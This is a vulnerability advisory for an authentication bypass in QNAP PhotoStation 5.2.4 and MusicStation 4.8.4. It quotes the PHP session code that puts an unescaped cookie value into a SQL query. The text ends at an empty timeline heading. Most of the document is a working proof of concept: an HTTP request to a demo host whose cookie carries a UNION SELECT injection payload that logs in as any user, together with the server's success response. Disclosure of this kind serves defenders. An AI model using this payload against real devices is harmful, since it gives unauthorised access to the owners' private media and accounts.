QNAP PhotoStation 5.2.4 and MusicStation 4.8.4 Authentication Bypass

Homepage:

https://www.qnap.com

Description:

$_COOKIE[STATIONSID] is not escaped.

File: /api/libs/inc_common.php

if(empty($SID)){
	$SESSION->sid = $_COOKIE[STATIONSID];
}else{
	$SESSION->sid = $SID;
}

$SESSION->init();

if ($SESSION->isLogin){

	if(isset($_COOKIE['NAS_SID']) && $_SESSION['account'] != $_COOKIE['NAS_USER']){
		$IS_LOGIN = false;
	}else{
		$IS_LOGIN = true;
		UPDATE_SESSION_CACHE();
	}

}

Then it’s used inside SQL query:

File: api/libs/class_session.php

function init()
{
	$row = $this->getOne($this->sid);

	if (!$row){
		// check if login
		$this->isLogin = 0;
	} else if ( (intval($row['last_visit']) + $this->expireTime ) < time() ) {
		// check if expire
		$this->isLogin = 0;
		$this->timeout = true;
		$this->del($this->sid);
	} else {
		// update last_visit
		$this->isLogin = 1;
		$this->update();
	}
}

function getOne($sid)
{
	$sql = "SELECT * FROM {$this->mainTable} WHERE sid='$sid'";
	$row = $this->db->querySingle($sql, true);

	if (!empty($row)){
		$this->account = $row['account'];
		$this->is_admin = $row['is_admin'];
		$this->ip = empty($row['ip'])?getClientIP():$row['ip'];
		$this->usr_id = $row['usr_id'];
		$this->start_time = $row['start_time'];
		$this->last_visit = $row['last_visit'];

		$data = json_decode($row['datas'],true);
		$this->credential = $data['credential'];

		return $row;
	}
	return false;
}

And because this function is responsible for authentication, we can login as any user.

Proof of Concept:

Request:

GET /photo/api/dmc.php HTTP/1.1
Host: qnapdemo.myqnapcloud.com:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: QMS_SID=' UNION SELECT 9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999 -- a
Connection: close

Response:

HTTP/1.1 200 OK
Date: Thu, 26 Jan 2017 15:06:08 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/xml;charset=utf-8
Content-Length: 114

<?xml version="1.0"?>
<QDocRoot version="1.0"><status>0</status><playerCount>0</playerCount><players/></QDocRoot>

When we send invalid sid response look like this:

<QDocRoot version="1.0"><status>98</status><error>You are not logged in</error></QDocRoot>

Timeline: